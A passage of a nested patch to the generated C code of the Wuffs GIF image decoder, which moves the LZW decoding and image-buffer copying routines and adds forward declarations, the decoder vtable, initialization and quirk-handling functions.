wuffs_base__io_reader__limited_copy_u32_to_slice( +- &iop_a_src, io2_a_src,((uint32_t)(v_n_compressed)), wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, self->private_impl.f_compressed_wi, 4096)); +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_compressed_wi, ((uint64_t)(v_n_copied))); +- wuffs_base__u64__sat_sub_indirect(&v_block_size, ((uint64_t)(v_n_copied))); +- if (v_block_size > 0u) { +- break; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- v_need_block_size = true; +- break; +- } +- v_block_size = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); +- iop_a_src += 1u; +- } +- while (true) { +- if ((self->private_impl.f_compressed_ri > self->private_impl.f_compressed_wi) || (self->private_impl.f_compressed_wi > 4096u)) { +- status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, +- self->private_impl.f_compressed_ri, +- self->private_impl.f_compressed_wi), +- 0u); +- v_mark = ((uint64_t)(iop_v_r - io0_v_r)); +- u_r.meta.ri = ((size_t)(iop_v_r - u_r.data.ptr)); +- wuffs_gif__decoder__lzw_read_from(self, v_r); +- iop_v_r = u_r.data.ptr + u_r.meta.ri; +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_compressed_ri, wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_v_r - io0_v_r)))); +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- if (self->private_impl.f_lzw_output_ri < self->private_impl.f_lzw_output_wi) { +- v_copy_status = wuffs_gif__decoder__copy_to_image_buffer(self, a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_lzw_output, +- self->private_impl.f_lzw_output_ri, +- self->private_impl.f_lzw_output_wi)); +- if (wuffs_base__status__is_error(&v_copy_status)) { +- status = v_copy_status; +- goto exit; +- } +- self->private_impl.f_lzw_output_ri = 0u; +- self->private_impl.f_lzw_output_wi = 0u; +- } +- if (self->private_impl.f_lzw_read_from_return_value == 0u) { +- self->private_impl.f_ignored_but_affects_benchmarks = false; +- if (v_need_block_size || (v_block_size > 0u)) { +- self->private_data.s_decode_id_part2[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (self->private_data.s_decode_id_part2[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_id_part2[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_id_part2[0].scratch; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- goto label__outer__break; +- } else if (self->private_impl.f_lzw_read_from_return_value == 1u) { +- continue; +- } else if (self->private_impl.f_lzw_read_from_return_value == 2u) { +- goto label__outer__continue; +- } else if (self->private_impl.f_quirks[3u] && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) && (self->private_impl.f_interlace == 0u)) { +- if (v_need_block_size || (v_block_size > 0u)) { +- self->private_data.s_decode_id_part2[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_decode_id_part2[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_id_part2[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_id_part2[0].scratch; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- goto label__outer__break; +- } else if (self->private_impl.f_lzw_read_from_return_value == 3u) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } else if (self->private_impl.f_lzw_read_from_return_value == 4u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_lzw_code); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- } +- label__outer__break:; +- self->private_impl.f_compressed_ri = 0u; +- self->private_impl.f_compressed_wi = 0u; +- if ((self->private_impl.f_dst_y < self->private_impl.f_frame_rect_y1) && (self->private_impl.f_frame_rect_x0 != self->private_impl.f_frame_rect_x1) && (self->private_impl.f_frame_rect_y0 != self->private_impl.f_frame_rect_y1)) { +- status = wuffs_base__make_status(wuffs_base__error__not_enough_data); +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_header( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- ok: +- self->private_impl.p_decode_id_part2[0] = 0; +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_lsd( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_id_part2[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_id_part2[0].v_block_size = v_block_size; +- self->private_data.s_decode_id_part2[0].v_need_block_size = v_need_block_size; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_extension( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__skip_blocks( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_ae( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +-// -------- func gif.decoder.copy_to_image_buffer ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_gc( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_id_part0( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_id_part2( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_gif__decoder__copy_to_image_buffer( + wuffs_gif__decoder* self, + wuffs_base__pixel_buffer* a_pb, +- wuffs_base__slice_u8 a_src) { +- wuffs_base__slice_u8 v_dst = {0}; +- wuffs_base__slice_u8 v_src = {0}; +- uint64_t v_width_in_bytes = 0; +- uint64_t v_n = 0; +- uint64_t v_src_ri = 0; +- wuffs_base__pixel_format v_pixfmt = {0}; +- uint32_t v_bytes_per_pixel = 0; +- uint32_t v_bits_per_pixel = 0; +- wuffs_base__table_u8 v_tab = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint32_t v_replicate_y0 = 0; +- uint32_t v_replicate_y1 = 0; +- wuffs_base__slice_u8 v_replicate_dst = {0}; +- wuffs_base__slice_u8 v_replicate_src = {0}; ++ wuffs_base__slice_u8 a_src); + +- v_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_pb); +- v_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_pixfmt); +- if ((v_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_init( ++ wuffs_gif__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_read_from( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_gif__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_gif__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_gif__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_gif__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_gif__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_gif__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_gif__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_gif__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gif__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_gif__decoder__initialize( ++ wuffs_gif__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- v_bytes_per_pixel = (v_bits_per_pixel >> 3u); +- v_width_in_bytes = ((uint64_t)((self->private_impl.f_width * v_bytes_per_pixel))); +- v_tab = wuffs_base__pixel_buffer__plane(a_pb, 0u); +- while (v_src_ri < ((uint64_t)(a_src.len))) { +- v_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_ri); +- if (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) { +- if (self->private_impl.f_quirks[3u]) { +- return wuffs_base__make_status(NULL); +- } +- return wuffs_base__make_status(wuffs_base__error__too_much_data); +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, 0u); +- } else if (v_width_in_bytes < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_width_in_bytes); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_bytes_per_pixel))); +- if (v_i < ((uint64_t)(v_dst.len))) { +- v_j = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * ((uint64_t)(v_bytes_per_pixel))); +- if ((v_i <= v_j) && (v_j <= ((uint64_t)(v_dst.len)))) { +- v_dst = wuffs_base__slice_u8__subslice_ij(v_dst, v_i, v_j); +- } else { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); +- } +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), v_src); +- wuffs_base__u64__sat_add_indirect(&v_src_ri, v_n); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u)); +- } +- if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { +- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; +- if (self->private_impl.f_interlace == 0u) { +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, 1u); +- continue; +- } +- if ((self->private_impl.f_num_decoded_frames_value == 0u) && ! self->private_impl.f_gc_has_transparent_index && (self->private_impl.f_interlace > 1u)) { +- v_replicate_src = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- v_replicate_y0 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u); +- v_replicate_y1 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_COUNT[self->private_impl.f_interlace]))); +- v_replicate_y1 = wuffs_base__u32__min(v_replicate_y1, self->private_impl.f_frame_rect_y1); +- while (v_replicate_y0 < v_replicate_y1) { +- v_replicate_dst = wuffs_base__table_u8__row_u32(v_tab, v_replicate_y0); +- wuffs_base__slice_u8__copy_from_slice(v_replicate_dst, v_replicate_src); +- v_replicate_y0 += 1u; +- } +- self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, v_replicate_y1); +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); +- while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { +-#if defined(__GNUC__) ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) + #pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_interlace -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" + #endif +- self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); +- } +- continue; +- } +- if (((uint64_t)(a_src.len)) == v_src_ri) { +- break; +- } else if (((uint64_t)(a_src.len)) < v_src_ri) { +- return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- v_n = ((uint64_t)((self->private_impl.f_frame_rect_x1 - self->private_impl.f_dst_x))); +- v_n = wuffs_base__u64__min(v_n, (((uint64_t)(a_src.len)) - v_src_ri)); +- wuffs_base__u64__sat_add_indirect(&v_src_ri, v_n); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { +- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); +- while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_interlace -= 1u; +-#if defined(__GNUC__) ++#if !defined(__clang__) && defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); +- } +- continue; +- } +- if (v_src_ri != ((uint64_t)(a_src.len))) { +- return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- break; + } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder); + return wuffs_base__make_status(NULL); + } + +-// -------- func gif.decoder.lzw_init ++wuffs_gif__decoder* ++wuffs_gif__decoder__alloc(void) { ++ wuffs_gif__decoder* x = ++ (wuffs_gif__decoder*)(calloc(1, sizeof(wuffs_gif__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_gif__decoder__initialize( ++ x, sizeof(wuffs_gif__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_init( +- wuffs_gif__decoder* self) { +- uint32_t v_i = 0; ++size_t ++sizeof__wuffs_gif__decoder(void) { ++ return sizeof(wuffs_gif__decoder); ++} + +- self->private_impl.f_lzw_literal_width = 8u; +- if (self->private_impl.f_lzw_pending_literal_width_plus_one > 0u) { +- self->private_impl.f_lzw_literal_width = (self->private_impl.f_lzw_pending_literal_width_plus_one - 1u); ++// ---------------- Function Implementations ++ ++// -------- func gif.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gif__decoder__get_quirk( ++ const wuffs_gif__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; + } +- self->private_impl.f_lzw_clear_code = (((uint32_t)(1u)) << self->private_impl.f_lzw_literal_width); +- self->private_impl.f_lzw_end_code = (self->private_impl.f_lzw_clear_code + 1u); +- self->private_impl.f_lzw_save_code = self->private_impl.f_lzw_end_code; +- self->private_impl.f_lzw_prev_code = self->private_impl.f_lzw_end_code; +- self->private_impl.f_lzw_width = (self->private_impl.f_lzw_literal_width + 1u); +- self->private_impl.f_lzw_bits = 0u; +- self->private_impl.f_lzw_n_bits = 0u; +- self->private_impl.f_lzw_output_ri = 0u; +- self->private_impl.f_lzw_output_wi = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_lzw_clear_code) { +- self->private_data.f_lzw_lm1s[v_i] = 0u; +- self->private_data.f_lzw_suffixes[v_i][0u] = ((uint8_t)(v_i)); +- v_i += 1u; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } +- return wuffs_base__make_empty_struct(); ++ ++ uint32_t v_key = 0; ++ ++ if (a_key >= 1041635328u) { ++ v_key = (a_key - 1041635328u); ++ if (v_key < 7u) { ++ if (self->private_impl.f_quirks[v_key]) { ++ return 1u; ++ } ++ } ++ } ++ return 0u; + } + +-// -------- func gif.decoder.lzw_read_from ++// -------- func gif.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_read_from( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__set_quirk( + wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint32_t v_clear_code = 0; +- uint32_t v_end_code = 0; +- uint32_t v_save_code = 0; +- uint32_t v_prev_code = 0; +- uint32_t v_width = 0; +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_output_wi = 0; +- uint32_t v_code = 0; +- uint32_t v_c = 0; +- uint32_t v_o = 0; +- uint32_t v_steps = 0; +- uint8_t v_first_byte = 0; +- uint16_t v_lm1_b = 0; +- uint16_t v_lm1_a = 0; ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ if ((self->private_impl.f_call_sequence == 0u) && (a_key >= 1041635328u)) { ++ a_key -= 1041635328u; ++ if (a_key < 7u) { ++ self->private_impl.f_quirks[a_key] = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } + } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} + +- v_clear_code = self->private_impl.f_lzw_clear_code; +- v_end_code = self->private_impl.f_lzw_end_code; +- v_save_code = self->private_impl.f_lzw_save_code; +- v_prev_code = self->private_impl.f_lzw_prev_code; +- v_width = self->private_impl.f_lzw_width; +- v_bits = self->private_impl.f_lzw_bits; +- v_n_bits = self->private_impl.f_lzw_n_bits; +- v_output_wi = self->private_impl.f_lzw_output_wi; +- while (true) { +- if (v_n_bits < v_width) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); +- iop_a_src += ((31u - v_n_bits) >> 3u); +- v_n_bits |= 24u; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_lzw_read_from_return_value = 3u; +- } else { +- self->private_impl.f_lzw_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits >= v_width) { +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_lzw_read_from_return_value = 3u; +- } else { +- self->private_impl.f_lzw_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits < v_width) { +- self->private_impl.f_lzw_read_from_return_value = 5u; +- break; +- } +- } +- } +- } +- v_code = ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_width)); +- v_bits >>= v_width; +- v_n_bits -= v_width; +- if (v_code < v_clear_code) { +- self->private_data.f_lzw_output[v_output_wi] = ((uint8_t)(v_code)); +- v_output_wi = ((v_output_wi + 1u) & 8191u); +- if (v_save_code <= 4095u) { +- v_lm1_a = (((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_a; +- if ((v_lm1_a % 8u) != 0u) { +- self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; +- memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); +- self->private_data.f_lzw_suffixes[v_save_code][(v_lm1_a % 8u)] = ((uint8_t)(v_code)); +- } else { +- self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; +- } +- } else if (v_code <= v_end_code) { +- if (v_code == v_end_code) { +- self->private_impl.f_lzw_read_from_return_value = 0u; +- break; +- } +- v_save_code = v_end_code; +- v_prev_code = v_end_code; +- v_width = (self->private_impl.f_lzw_literal_width + 1u); +- } else if (v_code <= v_save_code) { +- v_c = v_code; +- if (v_code == v_save_code) { +- v_c = v_prev_code; +- } +- v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) & 4294967288u)) & 8191u); +- v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lzw_lm1s[v_c]))) & 8191u); +- v_steps = (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) >> 3u); +- while (true) { +- memcpy((self->private_data.f_lzw_output)+(v_o), (self->private_data.f_lzw_suffixes[v_c]), 8u); +- if (v_steps <= 0u) { +- break; +- } +- v_steps -= 1u; +- v_o = (((uint32_t)(v_o - 8u)) & 8191u); +- v_c = ((uint32_t)(self->private_impl.f_lzw_prefixes[v_c])); +- } +- v_first_byte = self->private_data.f_lzw_suffixes[v_c][0u]; +- if (v_code == v_save_code) { +- self->private_data.f_lzw_output[v_output_wi] = v_first_byte; +- v_output_wi = ((v_output_wi + 1u) & 8191u); +- } +- if (v_save_code <= 4095u) { +- v_lm1_b = (((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_b; +- if ((v_lm1_b % 8u) != 0u) { +- self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; +- memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); +- self->private_data.f_lzw_suffixes[v_save_code][(v_lm1_b % 8u)] = v_first_byte; +- } else { +- self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; +- } +- } else { +- self->private_impl.f_lzw_read_from_return_value = 4u; +- break; +- } +- if (v_output_wi > 4095u) { +- self->private_impl.f_lzw_read_from_return_value = 1u; +- break; +- } ++// -------- func gif.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__decode_image_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (self->private_impl.f_lzw_read_from_return_value != 2u) { +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- self->private_impl.f_lzw_read_from_return_value = 5u; +- break; +- } +- } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- self->private_impl.f_lzw_save_code = v_save_code; +- self->private_impl.f_lzw_prev_code = v_prev_code; +- self->private_impl.f_lzw_width = v_width; +- self->private_impl.f_lzw_bits = v_bits; +- self->private_impl.f_lzw_n_bits = v_n_bits; +- 